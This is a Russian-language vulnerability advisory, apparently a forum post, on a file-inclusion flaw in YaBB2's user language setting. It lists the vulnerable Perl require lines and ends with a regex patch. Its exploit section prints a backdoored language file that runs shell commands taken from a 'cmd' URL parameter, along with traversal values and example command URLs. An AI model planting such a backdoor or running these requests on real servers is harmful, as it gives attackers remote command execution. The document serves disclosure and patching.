Уязвимость присутствует в переменной
$language, которую пользователь может менять в своем профиле.
Уязвимые скрипты, содержащие переменную $language:
Sources/HelpCentre.pl, строка 139
Код:
if (-e ("$helpfile/$language/$help_area/$line.help")) {
require "$helpfile/$language/$help_area/$line.help";
}
Sources/Subs.pl, строка 1529
Код:
if (-e "$langdir/$use_lang/$what_to_load.lng") {
require "$langdir/$use_lang/$what_to_load.lng";
}
Sources/ICQPager.pl, строка 21
Код:
if ($language) { require "$langdir/$language/ICQ.lng"; }
Sources/Post.pl, строка 1838
Код:
if (-e "$langdir/$actlang/Notify.lng") { require "$langdir/$actlang/Notify.lng"; }
Sources/Post.pl, строка 1863
Код:
if (-e "$langdir/$actlang/Notify.lng") { require "$langdir/$actlang/Notify.lng"; }
Sources/Post.pl, строка 1880
Код:
if (-e "$langdir/$actlang/Notify.lng") { require "$langdir/$actlang/Notify.lng"; }
Sources/InstantMessage.pl, строка 1080
Код:
if (-e "$langdir/$actlang/InstantMessage.lng") { require "$langdir/$actlang/InstantMessage.lng"; }
Sources/InstantMessage.pl, строка 1082
Код:
if (-e "$langdir/$actlang/InstantMessage.lng") { require "$langdir/$actlang/Main.lng"; }
Exploit
Как было указано в предыдущем посте, для успешной эксплуатации уязвимости необходим доступ по FTP или SSH.
Нужно изменить содержимое файла English/HelpCentre.lng
с:
Код:
%helptxt = (
'1' => "Help Section",
'2' => "Contents",
на:
Код:
$content="<br><br><br><br><font color=red>";
$content.=`$INFO{'cmd'}`;
$content.
="</font><br><br><br><br>";
%helptxt = (
'1' => "Help Section",
'2' => $content,
Далее в профиле пользователя меняем значение параметра 'userlanguage' на:
"../../путь/до/папки/English/"
С помощью браузера переходим в раздел "Help":
http://site.com/yabb2/YaBB.pl?action=help
С помощью дописанной нами переменной
'cmd' можно выполнять произвольные команды на сервере:
http://site.com/yabb2/YaBB.pl?action=help&cmd=id
http://site.com/yabb2/YaBB.pl?action=help&cmd=uname%
20-a
и т.п.
Патч
Для исправления уязвимости необходимо ввести фильтрацию переменной 'userlanguage' в модуле профиля пользователя.
Для этого вносим изменения в код скрипта
Sources/Profile.pl, строка 1225:
этот кусок кода
Код:
if ($member{'userlanguage'} !~ m^\A[0-9a-zA-Z_\.\#\%\-\:
\+\?\$\&\~\.\,\@/]+\Z^ && $member{'userlanguage'} ne "") { &fatal_error($profile_txt{'815'}); }
меняем на:
Код:
if ($member{'userlanguage'} !~ m^\A[0-9a-zA-Z_\.\#\%\-\:
\+\?\$\&\~\.\,\@]+\Z^ && $member{'userlanguage'} ne "") { &fatal_error($profile_txt{'815'}); }
Теперь в переменной 'userlanguage' будет фильтоваться символ
/, что предотвратит возможность инклуда.